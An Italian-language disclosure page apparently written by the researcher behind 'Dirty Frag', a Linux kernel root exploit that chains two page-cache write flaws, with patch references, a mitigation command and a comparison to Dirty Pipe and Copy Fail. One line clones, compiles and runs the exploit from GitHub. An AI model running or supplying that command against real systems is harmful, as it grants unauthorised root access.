# Exploit di escalation dei privilegi per il kernel Linux Exploit di escalation dei privilegi per il kernel Linux che combina due vulnerabilità di scrittura nella page cache (CVE-2026-43284, CVE-2026-43500) per ottenere accesso root deterministico sulle principali distribuzioni senza condizioni di gara.
Questo documento descrive la classe di vulnerabilità Dirty Frag, scoperta e segnalata per la prima volta da Hyunwoo Kim (@v4bel), che può ottenere privilegi di root sulle principali distribuzioni Linux combinando la vulnerabilità xfrm-ESP Page-Cache Write (CVE-2026-43284) e la vulnerabilità RxRPC Page-Cache Write (CVE-2026-43500).
Dirty Frag è un caso che estende la classe di bug a cui appartengono Dirty Pipe e Copy Fail. Poiché è un bug logico deterministico che non dipende da una finestra temporale, non richiede alcuna race condition, il kernel non va in panico quando l'exploit fallisce e il tasso di successo è molto alto.
Per informazioni tecniche dettagliate e la cronologia, vedi qui.
xfrm-ESP Page-Cache Write (CVE-2026-43284) è stata corretta nel mainline f4c50a4034e6.RxRPC Page-Cache Write (CVE-2026-43500) è stata corretta nel mainline aa54b1d27fe0.[!NOTE] Al momento della prima pubblicazione di questo documento (2026-05-07), l'embargo era già stato violato a causa di fattori esterni, quindi non esisteva ancora alcuna patch o CVE. Dopo una consultazione con i manutentori su [email protected] all'epoca, il documento Dirty Frag è stato pubblicato su loro richiesta. Per la cronologia della divulgazione, fare riferimento ai dettagli tecnici.
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Questo PoC è fornito come informazione accurata a seguito della consultazione con linux-distros. Non usarlo su sistemi che non sei autorizzato a testare.
⚠️ Importante: Dopo aver eseguito questo exploit, la page cache è contaminata. Per pulire la page cache inquinata e garantire la stabilità del sistema, esegui uno dei seguenti comandi:
echo 3 > /proc/sys/vm/drop_caches
oppure riavvia il sistema.
In altre parole, la durata effettiva delle vulnerabilità è di circa 9 anni.
Questo Dirty Frag è stato testato sulle seguenti versioni di distribuzioni.
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"
xfrm-ESP Page-Cache Write fornisce una potente primitiva STORE arbitraria di 4 byte, come Copy Fail, ed è inclusa nella maggior parte delle distribuzioni, ma richiede il privilegio di creare un namespace.
Ubuntu a volte blocca la creazione di user namespace non privilegiati tramite la policy AppArmor. In un ambiente del genere, xfrm-ESP Page-Cache Write non può essere attivata. RxRPC Page-Cache Write non richiede il privilegio di creare un namespace, ma il modulo rxrpc.ko stesso non è incluso nella maggior parte delle distribuzioni. Tuttavia, su Ubuntu, il modulo rxrpc.ko viene caricato di default.
Combinare le due varianti fa sì che i punti ciechi si coprano a vicenda, consentendo di ottenere privilegi di root su ogni distribuzione principale. Per i dettagli, fare riferimento al documento di dettagli tecnici.
Sì, sì, lo so. Tuttavia, questa vulnerabilità è un discendente di "Dirty Pipe" ed è una classe di bug che "sporca" il membro frag di struct sk_buff, quindi questo nome è il più appropriato.
Copy Fail è stata la motivazione per iniziare questa ricerca. In particolare, xfrm-ESP Page-Cache Write nella catena di vulnerabilità Dirty Frag condivide lo stesso sink di Copy Fail. Tuttavia, viene attivata indipendentemente dalla disponibilità del modulo algif_aead. In altre parole, anche sui sistemi in cui è applicata la mitigazione pubblicamente nota per Copy Fail (blacklist di algif_aead), il tuo Linux è ancora vulnerabile a Dirty Frag.
Fai riferimento alla sezione Mitigazione sopra.